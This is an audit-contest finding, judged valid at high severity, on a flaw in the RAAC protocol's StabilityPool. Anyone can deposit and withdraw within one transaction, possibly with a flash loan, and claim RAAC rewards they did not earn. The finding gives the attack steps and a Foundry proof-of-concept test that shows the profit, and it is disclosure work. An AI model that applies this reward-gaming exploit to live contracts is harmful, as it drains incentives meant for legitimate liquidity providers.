Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

In StabilityPool, attacker can weaponize flash loan to deposit and withdraw in the same transaction to unfairly get high RAAC rewards.

Summary

The StabilityPool's reward distribution mechanism has a critical flaw where users can exploit the reward calculation logic to unfairly earn RAAC rewards in a single transaction without maintaining deposits over time. An attacker can use flash loans to maximize profits by depositing and withdrawing large amounts of rTokens within the same transaction.

Vulnerability Details

To understand the vulnerability, let's first understand how the reward distribution works:

The StabilityPool rewards depositors with RAAC tokens for providing liquidity (RTokens).

The reward minting process:

// In StabilityPool.sol
function deposit(uint256 amount) external {
_update(); // This calls _mintRAACRewards()
// ... deposit logic
}
function _mintRAACRewards() internal {
if (address(raacMinter) != address(0)) {
raacMinter.tick();
}
}

The RAACMinter's tick() function:

function tick() external nonReentrant whenNotPaused {
// ... emission rate update logic
// @audit for any fresh tx, blocksSinceLastUpdate is always > 0
uint256 blocksSinceLastUpdate = currentBlock - lastUpdateBlock;
if (blocksSinceLastUpdate > 0) {
// @audit rewards are being minted continuosly for every fresh tx
uint256 amountToMint = emissionRate * blocksSinceLastUpdate;
if (amountToMint > 0) {
excessTokens += amountToMint;
lastUpdateBlock = currentBlock;
raacToken.mint(address(stabilityPool), amountToMint); // actual minting here.
}
}
}

From the code above we see that New rewards are minted whenever a block number increases, which happens with each new transaction.

When a user deposits, the StabilityPool immediately mints new RAAC rewards and includes the depositor's share in the reward calculation calculateRaacRewards() also it doesn't consider any deposit duration or cooldown.

Also the current implementation allows users withdraw immediately after depositing.

An attacker can exploit this by:

  1. Taking a flash loan for a large amount of rTokens

  2. Depositing these rTokens into the StabilityPool

  3. Immediately withdrawing the deposit and rewards in the same transaction

  4. Repaying the flash loan

  5. Keeping the RAAC rewards as profit

The exploit is particularly severe because:

  • The attacker's large deposit temporarily gives them a massive share of the reward pool

  • They can repeat this across multiple blocks

  • Flash loans allow them to do this with minimal capital

PoC

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import {Test, console} from "forge-std/Test.sol";
import {StabilityPool} from "contracts/core/pools/StabilityPool/StabilityPool.sol";
import {LendingPool} from "contracts/core/pools/LendingPool/LendingPool.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {ERC20, IERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {RAACMinter} from "contracts/core/minters/RAACMinter/RAACMinter.sol";
import {RAACHousePrices} from "contracts/core/primitives/RAACHousePrices.sol";
import {RAACNFT} from "contracts/core/tokens/RAACNFT.sol";
import {ERC20Mock} from "contracts/mocks/core/tokens/ERC20Mock.sol";
import {DEToken} from "contracts/core/tokens/DEToken.sol";
contract StabilityPoolTestPoC is Test {
address private attacker = makeAddr("attacker");
RAACHousePrices private housePrices;
LendingPool private lendingPool;
StabilityPool private stabilityPool;
StabilityPool private implementation;
ERC1967Proxy private proxy;
RAACMinter private raacMinter;
RAACNFT private raacNFT;
DEToken private deToken;
address private rToken = address(new ERC20Mock("RToken", ""));
address private debtToken = address(new ERC20Mock("DebtToken", ""));
address private crvUSDToken = address(new ERC20Mock("crvToken", ""));
address private raacToken = address(new ERC20Mock("RAACToken", ""));
function setUp() public {
deToken = new DEToken("DEToken", "", address(this), rToken);
housePrices = new RAACHousePrices(address(this));
housePrices.setOracle(address(this));
raacNFT = new RAACNFT(crvUSDToken, address(housePrices), address(this));
lendingPool = new LendingPool(crvUSDToken, rToken, debtToken, address(raacNFT), address(housePrices), 5000);
// we do this this since foundry's timestamp starts at 1
vm.warp(block.timestamp + 1000 days);
// Deploy StabilityPool implementation and proxy
implementation = new StabilityPool(address(this));
// I have just used mocks for this test since the specific token implementations is not relevant in this test
// except for the decimals part (of course)
bytes memory initData = abi.encodeWithSelector(
StabilityPool.initialize.selector,
rToken, // 6 decimals
deToken, // 18 decimals
raacToken,
makeAddr("temp_minter"), // will be replaced by calling setRAACMinter
crvUSDToken,
address(lendingPool)
);
proxy = new ERC1967Proxy(address(implementation), initData);
stabilityPool = StabilityPool(address(proxy));
deToken.setStabilityPool(address(stabilityPool));
raacMinter = new RAACMinter(
raacToken,
address(stabilityPool),
address(lendingPool),
address(this)
);
stabilityPool.setRAACMinter(address(raacMinter));
deal(rToken, attacker, 100 * 1e18, true);
vm.prank(attacker);
IERC20(rToken).approve(address(stabilityPool), 100 * 1e18);
vm.roll(block.number + 1); // so that rewards start accruing
}
function testDepositAndWithdrawRewardsInSingleTx() public {
uint attackerRaacBalBefore = IERC20(raacToken).balanceOf(attacker);
uint attackerRTokenBalBefore = IERC20(rToken).balanceOf(attacker);
vm.startPrank(attacker);
uint amount = 5 * 1e18; // rToken to deposit
stabilityPool.deposit(amount);
// attacker gets deToken equal to amount 1:1 (assumed that all tokens have 18 decimals)
assertEq(amount, IERC20(deToken).balanceOf(attacker));
uint rewardsObtained = stabilityPool.calculateRaacRewards(attacker);
IERC20(deToken).approve(address(stabilityPool), amount);
stabilityPool.withdraw(amount);
console.log("rewards obtained: ", rewardsObtained);
assertGt(rewardsObtained, 0.1 * 1e18);
// attacker got profit of rewards in a single tx
assertEq(IERC20(raacToken).balanceOf(attacker) - attackerRaacBalBefore, rewardsObtained);
// attacker also got back her all rTokens
assertEq(IERC20(rToken).balanceOf(attacker), attackerRTokenBalBefore);
vm.stopPrank();
}
}

Impact

  • Unfair distribution of RAAC rewards

  • Attacker can use flash loans to maximize the RAAC rewards emitted there by causing the RAACToken supply to be inflated which damages for the tokenomics of protocol.

  • Depletion of protocol incentives meant for legitimate long-term liquidity providers

  • Discouragement of legitimate staking behavior

Tools Used

  • Manual code review

  • Foundry for testing and PoC

Recommendations

These are just some rough ideas :)

  • Implement a minimum staking period before rewards can be claimed

  • Find creative ways to prevent deposit and withdraw from happening in a single tx

  • Add vesting periods for reward distribution

Updates

Lead Judging Commences

inallhonesty Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

StabilityPool::calculateRaacRewards is vulnerable to just in time deposits

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.